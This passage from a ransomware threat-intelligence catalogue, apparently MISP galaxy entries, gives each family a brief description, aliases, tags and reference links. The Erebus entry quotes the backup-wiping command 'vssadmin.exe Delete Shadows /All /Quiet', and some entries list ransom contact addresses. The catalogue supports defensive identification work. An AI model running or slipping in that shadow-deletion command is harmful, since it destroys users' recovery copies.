</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker">https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots">https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots</a></td>
</tr>
</tbody>
</table>

Anubis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2

The tag is: misp-galaxy:ransomware="Anubis Ransomware"

Table 7500. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://nyxbone.com/malware/Anubis.html">http://nyxbone.com/malware/Anubis.html</a></td>
</tr>
</tbody>
</table>

XTPLocker 5.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"

Table 7501. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

Exotic Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam,
fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables

The tag is: misp-galaxy:ransomware="Exotic Ransomware"

Table 7502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware">https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html</a></td>
</tr>
</tbody>
</table>

**APT Ransomware v.2**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED

The tag is: misp-galaxy:ransomware="APT Ransomware v.2"

Table 7503. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html">https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html</a></td>
</tr>
</tbody>
</table>

**Windows_Security Ransonware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Windows_Security Ransonware"

Windows_Security Ransonware is also known as:

- WS Go Ransonware
- Trojan.Encoder.6491

View relationships graph

Windows_Security Ransonware has relationships with:
• similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"

Table 7504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2">https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2</a></td>
</tr>
</tbody>
</table>

**NCrypt Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="NCrypt Ransomware"

Table 7505. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Venis Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com

The tag is: misp-galaxy:ransomware="Venis Ransomware"

Table 7506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Antelox/status/785849412635521024">https://twitter.com/Antelox/status/785849412635521024</a></td>
</tr>
</tbody>
</table>

**Enigma 2 Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Enigma 2 Ransomware"
Deadly Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017...

The tag is: `misp-galaxy:ransomware="Deadly Ransomware"

Deadly Ransomware is also known as:

- Deadly for a Good Purpose Ransomware

Comrade Circle Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Comrade Circle Ransomware"

Globe2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Globe2 Ransomware"

Globe2 Ransomware is also known as:
Purge Ransomware

View relationships graph

Globe2 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"

Table 7510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221">https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221</a></td>
</tr>
</tbody>
</table>

Kostya Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Kostya Ransomware"

Table 7511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html</a></td>
</tr>
</tbody>
</table>

Fs0ciety Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Fs0ciety Locker Ransomware"

Table 7512. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html</a></td>
</tr>
</tbody>
</table>

Erebus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email
spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet

The tag is: misp-galaxy:ransomware="Erebus Ransomware"

### WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

The tag is: misp-galaxy:ransomware="WannaCry"

WannaCry is also known as:

- WannaCrypt
- WannaCry
- WanaCrypt0r
- WCrypt
- WCRY

### View relationships graph

WannaCry has relationships with:

- similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"

### CryptoHasYou.

Ransomware
The tag is: misp-galaxy:ransomware=".CryptoHasYou."

Table 7515. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/CryptoHasYou.html">http://www.nyxbone.com/malware/CryptoHasYou.html</a></td>
</tr>
</tbody>
</table>

777

Ransomware

The tag is: misp-galaxy:ransomware="777"

777 is also known as:

- Sevleg

Table 7516. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/777">https://decrypter.emsisoft.com/777</a></td>
</tr>
</tbody>
</table>

7ev3n

Ransomware

The tag is: misp-galaxy:ransomware="7ev3n"

7ev3n is also known as:

- 7ev3n-HONE$T

View relationships graph

7ev3n has relationships with:

- similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"

Table 7517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hasherezade/malware_analysis/tree/master/7ev3n">https://github.com/hasherezade/malware_analysis/tree/master/7ev3n</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=RDNbH5HDO1E&amp;feature=youtu.be">https://www.youtube.com/watch?v=RDNbH5HDO1E&amp;feature=youtu.be</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/7ev3n-HONE$T.html">http://www.nyxbone.com/malware/7ev3n-HONE$T.html</a></td>
</tr>
</tbody>
</table>

8lock8

Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="8lock8"

Table 7518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/">http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/</a></td>
</tr>
</tbody>
</table>

**AiraCrop**

Ransomware related to TeamXRat

The tag is: misp-galaxy:ransomware="AiraCrop"

Table 7519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/796079699478900736">https://twitter.com/PolarToffee/status/796079699478900736</a></td>
</tr>
</tbody>
</table>

**Al-Namrood**

Ransomware

The tag is: misp-galaxy:ransomware="Al-Namrood"

Table 7520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/al-namrood">https://decrypter.emsisoft.com/al-namrood</a></td>
</tr>
</tbody>
</table>

**ALFA Ransomware**

Ransomware Made by creators of Cerber

The tag is: misp-galaxy:ransomware="ALFA Ransomware"

Table 7521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Alma Ransomware**

Ransomware

The tag is: misp-galaxy:ransomware="Alma Ransomware"
Alma Ransomware is also known as:

- Alma Locker

**Table 7522. Table References**

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Alpha Ransomware**

Ransomware

The tag is: `misp-galaxy:ransomware="Alpha Ransomware"`
Alpha Ransomware is also known as:

- AlphaLocker

View relationships graph

Alpha Ransomware has relationships with:

- similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"

Table 7523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip">http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwarebread/status/804714048499621888">https://twitter.com/malwarebread/status/804714048499621888</a></td>
</tr>
</tbody>
</table>

**AMBA**

Ransomware Websites only amba@riseup.net

The tag is: misp-galaxy:ransomware="AMBA"

Table 7524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/benkow_/status/747813034006020096">https://twitter.com/benkow_/status/747813034006020096</a></td>
</tr>
<tr>
<td><a href="https://www.enigmasoftware.com/ambaransomware-removal/">https://www.enigmasoftware.com/ambaransomware-removal/</a></td>
</tr>
</tbody>
</table>

**AngleWare**

Ransomware

The tag is: misp-galaxy:ransomware="AngleWare"

Table 7525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/844531418474708993">https://twitter.com/BleepinComputer/status/844531418474708993</a></td>
</tr>
</tbody>
</table>

**Anony**

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Anony"
Anony is also known as:

- ngocanh

**Table 7526. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/842047409446387714">https://twitter.com/struppigel/status/842047409446387714</a></td>
</tr>
</tbody>
</table>

## Apocalypse

Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru

The tag is: `misp-galaxy:ransomware="Apocalypse"`

Apocalypse is also known as:

- Fabiansomeware

View relationships graph

Apocalypse has relationships with:

- similar: `misp-galaxy:rat="Apocalypse"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Apocalypse"` with `estimative-language:likelihood-probability="likely"`

**Table 7527. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/apocalypse">https://decrypter.emsisoft.com/apocalypse</a></td>
</tr>
<tr>
<td><a href="http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/">http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/</a></td>
</tr>
</tbody>
</table>

## ApocalypseVM

Ransomware Apocalypse ransomware version which uses VMprotect

The tag is: `misp-galaxy:ransomware="ApocalypseVM"`

**Table 7528. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://decrypter.emsisoft.com/download/apocalypsevm">http://decrypter.emsisoft.com/download/apocalypsevm</a></td>
</tr>
</tbody>
</table>
AutoLocky

Ransomware

The tag is: `misp-galaxy:ransomware="AutoLocky"`

Table 7529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/autolocky">https://decrypter.emsisoft.com/autolocky</a></td>
</tr>
</tbody>
</table>

Aw3s0m3Sc0t7

Ransomware

The tag is: `misp-galaxy:ransomware="Aw3s0m3Sc0t7"`

Table 7530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/828902907668000770">https://twitter.com/struppigel/status/828902907668000770</a></td>
</tr>
</tbody>
</table>

BadBlock

Ransomware

The tag is: `misp-galaxy:ransomware="BadBlock"`

Table 7531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/badblock">https://decrypter.emsisoft.com/badblock</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/BadBlock.html">http://www.nyxbone.com/malware/BadBlock.html</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/images/articulos/malware/badblock/5.png">http://www.nyxbone.com/images/articulos/malware/badblock/5.png</a></td>
</tr>
</tbody>
</table>

BaksoCrypt

Ransomware Based on my-Little-Ransomware

The tag is: `misp-galaxy:ransomware="BaksoCrypt"`

Table 7532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/76048229007922176">https://twitter.com/JakubKroustek/status/76048229007922176</a></td>
</tr>
<tr>
<td><a href="https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/">https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/</a></td>
</tr>
</tbody>
</table>
Bandarchor

Ransomware Files might be partially encrypted

The tag is: misp-galaxy:ransomware="Bandarchor"

Bandarchor is also known as:

• Rakhni

View relationships graph

Bandarchor has relationships with:

• similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"

Table 7533. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://reaqta.com/2016/03/bandarchor-ransomware-still-active/">https://reaqta.com/2016/03/bandarchor-ransomware-still-active/</a></td>
</tr>
</tbody>
</table>

Bart

Ransomware Possible affiliations with RockLoader, Locky and Dridex

The tag is: misp-galaxy:ransomware="Bart"

Bart is also known as:

• BaCrypt

View relationships graph

Bart has relationships with:

• similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"

Table 7534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://now.avg.com/barts-shenanigans-are-no-match-for-avg/">http://now.avg.com/barts-shenanigans-are-no-match-for-avg/</a></td>
</tr>
<tr>
<td><a href="http://phishme.com/rockloader-downloading-new-ransomware-bart/">http://phishme.com/rockloader-downloading-new-ransomware-bart/</a></td>
</tr>
</tbody>
</table>
**BitCryptor**

Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.

The tag is: `misp-galaxy:ransomware="BitCryptor"`

*Table 7535. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://noransom.kaspersky.com/">https://noransom.kaspersky.com/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html">https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html</a></td>
</tr>
</tbody>
</table>

**BitStak**

Ransomware

The tag is: `misp-galaxy:ransomware="BitStak"`

*Table 7536. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html">https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html</a></td>
</tr>
</tbody>
</table>

**BlackShades Crypter**

Ransomware

The tag is: `misp-galaxy:ransomware="BlackShades Crypter"`

BlackShades Crypter is also known as:

- SilentShade
- BlackShades

*Table 7537. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html">https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html</a></td>
</tr>
</tbody>
</table>

**Blocatto**

Ransomware Based on HiddenTear

The tag is: `misp-galaxy:ransomware="Blocatto"`
Booyah

Ransomware EXE was replaced to neutralize threat

The tag is: `misp-galaxy:ransomware="Booyah"`

Booyah is also known as:

- Salami

View relationships graph

Booyah has relationships with:

- similar: `misp-galaxy:ransomware="MM Locker"` with `estimative-language:likelihood-probability="likely"`

Brazilian

Ransomware Based on EDA2

The tag is: `misp-galaxy:ransomware="Brazilian"`

Brazilian Globe

Ransomware

The tag is: `misp-galaxy:ransomware="Brazilian Globe"`
BrLock

Ransomware

The tag is: misp-galaxy:ransomware="BrLock"

Table 7541. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Browlock

Ransomware no local encryption, browser only

The tag is: misp-galaxy:ransomware="Browlock"

BTCWare Related to / new version of CryptXXX

Ransomware

The tag is: misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"

Table 7542. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/845199679340011520">https://twitter.com/malwrhunterteam/status/845199679340011520</a></td>
</tr>
</tbody>
</table>

Bucbi

Ransomware no file name change, no extension

The tag is: misp-galaxy:ransomware="Bucbi"

Table 7543. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html">https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html</a></td>
</tr>
</tbody>
</table>

BuyUnlockCode

Ransomware Does not delete Shadow Copies

The tag is: misp-galaxy:ransomware="BuyUnlockCode"
Central Security Treatment Organization

Ransomware

The tag is: misp-galaxy:ransomware="Central Security Treatment Organization"

View relationships graph

Central Security Treatment Organization has relationships with:

- similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Cerber

Ransomware

The tag is: misp-galaxy:ransomware="Cerber"

Cerber is also known as:

- CRBR ENCRYPTOR

View relationships graph

Cerber has relationships with:

- similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"
Chimera

Ransomware

The tag is: misp-galaxy:ransomware="Chimera"

Chimera is also known as:

- Quimera Crypter
- Pashka

Table 7547. Table References

Links


Clock

Ransomware Does not encrypt anything

The tag is: misp-galaxy:ransomware="Clock"

Table 7548. Table References

Links

https://twitter.com/JakubKroustek/status/794956809866018816

CoinVault

Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!

The tag is: misp-galaxy:ransomware="CoinVault"

Table 7549. Table References

Links

https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html
Coverton
Ransomware

The tag is: misp-galaxy:ransomware="Coverton"

Table 7550. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html">https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html</a></td>
<td></td>
</tr>
</tbody>
</table>

Cryaki
Ransomware

The tag is: misp-galaxy:ransomware="Cryaki"

Table 7551. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
<td></td>
</tr>
</tbody>
</table>

Crybola
Ransomware

The tag is: misp-galaxy:ransomware="Crybola"

Table 7552. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
<td></td>
</tr>
</tbody>
</table>

CryFile
Ransomware

The tag is: misp-galaxy:ransomware="CryFile"

Table 7553. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SHTODELATVAM.txt[SHTODELATVAM.txt]</td>
<td></td>
</tr>
<tr>
<td>Instructionaga.txt[Instructionaga.txt]</td>
<td></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html">https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html</a></td>
<td></td>
</tr>
</tbody>
</table>
CryLocker

Ransomware Identifies victim locations w/Google Maps API

The tag is: misp-galaxy:ransomware="CryLocker"

CryLocker is also known as:

• Cry
• CSTO
• Central Security Treatment Organization

View relationships graph

CryLocker has relationships with:

• similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 7554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CrypMIC

Ransomware CryptXXX clone/spinoff

The tag is: misp-galaxy:ransomware="CrypMIC"

Table 7555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html">https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html</a></td>
</tr>
</tbody>
</table>

Crypren

Ransomware

The tag is: misp-galaxy:ransomware="Crypren"

Table 7556. Table References
Crypt38

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt38"

**Table 7557. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip">https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption">https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption</a></td>
</tr>
</tbody>
</table>

Crypter

Ransomware Does not actually encrypt the files, but simply renames them

The tag is: *misp-galaxy:ransomware="Crypter"

**Table 7558. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/802554159564062722">https://twitter.com/jiriatvirlab/status/802554159564062722</a></td>
</tr>
</tbody>
</table>

CryptFile2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFile2"

CryptFile2 is also known as:

- Lesli

**Table 7559. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html">https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html</a></td>
</tr>
</tbody>
</table>
CryptInfinite

Ransomware

The tag is: `misp-galaxy:ransomware="CryptInfinite"`

CryptInfinite is also known as:

- DecryptorMax

<table>
<thead>
<tr>
<th>Table 7560. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html">https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html</a></td>
</tr>
</tbody>
</table>

CryptoBit

Ransomware sekretzbelongt0us.KEY - do not confuse with CryptoBit.

The tag is: `misp-galaxy:ransomware="CryptoBit"`

View relationships graph

CryptoBit has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 7561. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/">http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptobit-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptobit-ransomware.html</a></td>
</tr>
</tbody>
</table>

CryptoDefense

Ransomware no extension change

The tag is: `misp-galaxy:ransomware="CryptoDefense"`

<table>
<thead>
<tr>
<th>Table 7562. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html</a></td>
</tr>
</tbody>
</table>
CryptoFinancial

Ransomware

